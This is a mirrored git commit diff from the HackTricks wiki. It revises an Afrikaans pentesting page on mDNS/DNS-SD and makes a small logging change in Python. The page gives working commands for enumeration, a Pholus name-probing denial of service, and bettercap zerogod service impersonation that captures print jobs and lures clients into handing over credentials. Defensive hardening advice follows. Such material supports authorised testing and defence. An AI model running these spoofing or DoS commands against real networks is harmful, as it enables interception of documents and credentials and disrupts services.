mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns
This commit is contained in:
parent
bad9842938
commit
df94055b87
@ -65,7 +65,7 @@ def ref(matchobj):
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
rel_path = path.normpath(path.join(dir,href))
|
||||
try:
|
||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}')
|
||||
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
|
@ -2,52 +2,142 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Basiese Inligting**
|
||||
## Basiese Inligting
|
||||
|
||||
**Multicast DNS (mDNS)** stel **DNS-agtige operasies** in staat binne plaaslike netwerke sonder die behoefte aan 'n tradisionele DNS-bediener. Dit werk op **UDP-poort 5353** en laat toestelle toe om mekaar en hul dienste te ontdek, wat algemeen gesien word in verskeie IoT-toestelle. **DNS-diensontdekking (DNS-SD)**, wat dikwels saam met mDNS gebruik word, help om dienste wat op die netwerk beskikbaar is, te identifiseer deur standaard DNS-vrae.
|
||||
Multicast DNS (mDNS) stel DNS-agtige naamoplossing en diensontdekking in staat binne 'n plaaslike skakel sonder 'n unicast DNS-bediener. Dit gebruik UDP/5353 en die multicast adresse 224.0.0.251 (IPv4) en FF02::FB (IPv6). DNS Diensontdekking (DNS-SD, tipies gebruik saam met mDNS) bied 'n gestandaardiseerde manier om dienste te tel en te beskryf via PTR, SRV en TXT rekords.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
```
|
||||
### **Bedryf van mDNS**
|
||||
Belangrike protokol besonderhede wat jy dikwels tydens aanvalle sal benut:
|
||||
- Name in die .local sone word via mDNS opgelos.
|
||||
- QU (Query Unicast) bit kan unicast-antwoorde versoek selfs vir multicast-vrae.
|
||||
- Implementasies moet pakkette wat nie van die plaaslike skakel afkomstig is nie, ignoreer; sommige stakke aanvaar steeds hulle.
|
||||
- Probing/aanbieding afdwing unieke gasheer/dienste name; inmenging hier skep DoS/“name squatting” toestande.
|
||||
|
||||
In omgewings sonder 'n standaard DNS-bediener, laat mDNS toestelle toe om domeinnames wat eindig op **.local** is, op te los deur die multicast adres **224.0.0.251** (IPv4) of **FF02::FB** (IPv6) te vra. Belangrike aspekte van mDNS sluit 'n **Tyd-tot-lewe (TTL)** waarde in wat die geldigheid van rekords aandui en 'n **QU bit** wat onderskei tussen unicast en multicast vrae. Veiligheidsoorweg is dit van kardinale belang dat mDNS-implementasies verifieer dat die bronadres van die pakket ooreenstem met die plaaslike subnet.
|
||||
## DNS-SD diensmodel
|
||||
|
||||
### **Funksionering van DNS-SD**
|
||||
Dienste word geïdentifiseer as _<service>._tcp of _<service>._udp onder .local, bv. _ipp._tcp.local (drukkers), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), ens. Ontdek tipes met _services._dns-sd._udp.local, en los dan ontdekte instansies op na SRV/TXT/A/AAAA.
|
||||
|
||||
DNS-SD fasiliteer die ontdekking van netwerkdienste deur te vra vir wysers (PTR) wat diens tipes aan hul instansies koppel. Dienste word geïdentifiseer met behulp van 'n **\_\<Service>.\_tcp of \_\<Service>.\_udp** patroon binne die **.local** domein, wat lei tot die ontdekking van ooreenstemmende **SRV** en **TXT rekords** wat gedetailleerde diens inligting verskaf.
|
||||
## Netwerk Verkenning en Enumerasie
|
||||
|
||||
### **Netwerk Verkenning**
|
||||
|
||||
#### **nmap Gebruik**
|
||||
|
||||
'n Nuttige opdrag om die plaaslike netwerk vir mDNS-dienste te skandeer is:
|
||||
- nmap teiken skandering (direkte mDNS op 'n gasheer):
|
||||
```bash
|
||||
nmap -Pn -sUC -p5353 [target IP address]
|
||||
nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
```
|
||||
Hierdie opdrag help om oop mDNS-poorte en die dienste wat oor hulle geadverteer word, te identifiseer.
|
||||
|
||||
#### **Netwerkopsporing met Pholus**
|
||||
|
||||
Om aktief mDNS-versoeke te stuur en verkeer te vang, kan die **Pholus**-instrument soos volg gebruik word:
|
||||
- nmap uitsending ontdekking (luister na die segment en enumerate alle DNS-SD tipes/instansies):
|
||||
```bash
|
||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||
sudo nmap --script=broadcast-dns-service-discovery
|
||||
```
|
||||
- avahi-browse (Linux):
|
||||
```bash
|
||||
# Lys diens tipes
|
||||
avahi-browse -bt _services._dns-sd._udp
|
||||
# Blaai alle dienste en los op na gasheer/poort
|
||||
avahi-browse -art
|
||||
```
|
||||
- Apple dns-sd (macOS):
|
||||
```bash
|
||||
# Blaai alle HTTP dienste
|
||||
dns-sd -B _http._tcp
|
||||
# Enumereer diens tipes
|
||||
dns-sd -B _services._dns-sd._udp
|
||||
# Los 'n spesifieke instansie op na SRV/TXT
|
||||
dns-sd -L "My Printer" _ipp._tcp local
|
||||
```
|
||||
- Pakket vang met tshark:
|
||||
```bash
|
||||
# Lewende vang
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
|
||||
# Slegs DNS-SD diens lys vrae
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
|
||||
```
|
||||
|
||||
Wenk: Sommige blaaiers/WebRTC gebruik ephemerale mDNS gasheername om plaaslike IP's te masker. As jy random-UUID.local kandidate op die draad sien, los hulle op met mDNS om na plaaslike IP's te pivot.
|
||||
|
||||
## Aanvalle
|
||||
|
||||
### **Benutting van mDNS Probing**
|
||||
### mDNS naam probing inmenging (DoS / name squatting)
|
||||
|
||||
'n Aanvalsvector behels die stuur van vervalste antwoorde na mDNS probes, wat voorstel dat alle potensiële name reeds in gebruik is, en dus nuwe toestelle hindert om 'n unieke naam te kies. Dit kan uitgevoer word met:
|
||||
Tydens die probing fase, kontroleer 'n gasheer naam uniekheid. Om te antwoord met gespoofde konflikte dwing dit om nuwe name te kies of te misluk. Dit kan diensregistrasie en ontdekking vertraag of voorkom.
|
||||
|
||||
Voorbeeld met Pholus:
|
||||
```bash
|
||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
# Block new devices from taking names by auto-faking responses
|
||||
sudo python3 pholus3.py <iface> -afre -stimeout 1000
|
||||
```
|
||||
Hierdie tegniek blokkeer effektief nuwe toestelle om hul dienste op die netwerk te registreer.
|
||||
### Diens spoofing en impersonasie (MitM)
|
||||
|
||||
**In samevatting**, is dit van kardinale belang om die werking van mDNS en DNS-SD te verstaan vir netwerkbestuur en sekuriteit. Gereedskap soos **nmap** en **Pholus** bied waardevolle insigte in plaaslike netwerkdienste, terwyl bewustheid van potensiële kwesbaarhede help om teen aanvalle te beskerm.
|
||||
Impersonate geadverteerde DNS-SD dienste (drukkers, AirPlay, HTTP, lêer deel) om kliënte te dwing om met jou te verbind. Dit is veral nuttig om:
|
||||
- Dokumente te vang deur _ipp._tcp of _printer._tcp te spoof.
|
||||
- Kliënte na HTTP/HTTPS dienste te lok om tokens/kookies te versamel of payloads af te lewer.
|
||||
- Te kombineer met NTLM relay tegnieke wanneer Windows kliënte outentisering onderhandel met gespoofde dienste.
|
||||
|
||||
### Spoofing/MitM
|
||||
Met bettercap se zerogod module (mDNS/DNS-SD spoofer/impersonator):
|
||||
```bash
|
||||
# Start mDNS/DNS-SD discovery
|
||||
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
|
||||
|
||||
Die mees interessante aanval wat jy oor hierdie diens kan uitvoer, is om 'n **MitM** in die **kommunikasie tussen die kliënt en die werklike bediener** uit te voer. Jy mag in staat wees om sensitiewe lêers (MitM die kommunikasie met die drukker) of selfs akrediteer (Windows-outeentifikasie) te verkry.\
|
||||
# Show all services seen from a host
|
||||
> zerogod.show 192.168.1.42
|
||||
|
||||
# Impersonate all services of a target host automatically
|
||||
> zerogod.impersonate 192.168.1.42
|
||||
|
||||
# Save IPP print jobs to disk while impersonating a printer
|
||||
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
|
||||
> zerogod.impersonate 192.168.1.42
|
||||
|
||||
# Replay previously captured services
|
||||
> zerogod.save 192.168.1.42 target.yml
|
||||
> zerogod.advertise target.yml
|
||||
```
|
||||
Ook kyk na generiese LLMNR/NBNS/mDNS/WPAD spoofing en geloofsbrief vang/relay werkvloei:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### Aantekeninge oor onlangse implementasie probleme (nuttig vir DoS/persistensie tydens betrokkenhede)
|
||||
|
||||
- Avahi bereikbare-assertie en D-Bus crash foute (2023) kan avahi-daemon op Linux verspreidings beëindig (bv. CVE-2023-38469..38473, CVE-2023-1981), wat diensontdekking op teikenhosts ontwrig totdat dit herbegin word.
|
||||
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (2024, CVE-2024-20303) laat aangrensende aanvallers toe om hoë CPU te dryf en AP's te ontkoppel. As jy 'n mDNS gateway tussen VLAN's teëkom, wees bewus van sy stabiliteit onder verkeerd gevormde of hoë-tempo mDNS.
|
||||
|
||||
## Verdedigende oorwegings en OPSEC
|
||||
|
||||
- Segmentgrense: Moet nie 224.0.0.251/FF02::FB tussen sekuriteitsgebiede roete nie, tensy 'n mDNS gateway eksplisiet vereis word. As jy moet ontdekking oorbrug, verkies toelaatlys en tempo beperkings.
|
||||
- Windows eindpunte/bedieners:
|
||||
- Om naamresolusie via mDNS hard te deaktiveer, stel die registerwaarde in en herbegin:
|
||||
```
|
||||
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
|
||||
```
|
||||
- In bestuurde omgewings, deaktiveer die ingeboude “mDNS (UDP-In)” Windows Defender Firewall reël (ten minste op die Domein profiel) om inkomende mDNS verwerking te voorkom terwyl huis/roaming funksionaliteit behou word.
|
||||
- Op nuwer Windows 11 weergawes/GPO sjablone, gebruik die beleid “Rekenaar Konfigurasie > Administratiewe Sjablone > Netwerk > DNS Kliënt > Konfigureer multicast DNS (mDNS) protokol” en stel dit op Gedeaktiveer.
|
||||
- Linux (Avahi):
|
||||
- Beperk publikasie wanneer dit nie nodig is nie: stel `disable-publishing=yes`, en beperk interfaces met `allow-interfaces=` / `deny-interfaces=` in `/etc/avahi/avahi-daemon.conf`.
|
||||
- Oorweeg `check-response-ttl=yes` en vermy `enable-reflector=yes` tensy dit streng vereis word; verkies `reflect-filters=` toelaatlys wanneer jy reflekteer.
|
||||
- macOS: Beperk inkomende mDNS by gasheer/netwerk vuurmure wanneer Bonjour ontdekking nie nodig is vir spesifieke subnetwerke.
|
||||
- Monitering: Waak vir ongewone styging in `_services._dns-sd._udp.local` navrae of skielike veranderinge in SRV/TXT van kritieke dienste; dit is aanduiders van spoofing of diens impersonasie.
|
||||
|
||||
## Gereedskap vinnige verwysing
|
||||
|
||||
- nmap NSE: `dns-service-discovery` en `broadcast-dns-service-discovery`.
|
||||
- Pholus: aktiewe skandering, omgekeerde mDNS sweeps, DoS en spoofing helpers.
|
||||
```bash
|
||||
# Passiewe sniff (timeout sekondes)
|
||||
sudo python3 pholus3.py <iface> -stimeout 60
|
||||
# Enumereer diens tipes
|
||||
sudo python3 pholus3.py <iface> -sscan
|
||||
# Stuur generiese mDNS versoeke
|
||||
sudo python3 pholus3.py <iface> --request
|
||||
# Omgekeerde mDNS sweep van 'n subnet
|
||||
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
|
||||
```
|
||||
- bettercap zerogod: ontdek, stoor, adverteer, en impersonate mDNS/DNS-SD dienste (sien voorbeelde hierbo).
|
||||
|
||||
## Spoofing/MitM
|
||||
|
||||
Die mees interessante aanval wat jy oor hierdie diens kan uitvoer, is om 'n MitM in die kommunikasie tussen die kliënt en die werklike bediener uit te voer. Jy mag in staat wees om sensitiewe lêers te verkry (MitM die kommunikasie met die drukker) of selfs geloofsbriewe (Windows verifikasie).\
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
@ -57,5 +147,7 @@ Vir meer inligting, kyk:
|
||||
## Verwysings
|
||||
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
|
||||
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
|
||||
- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user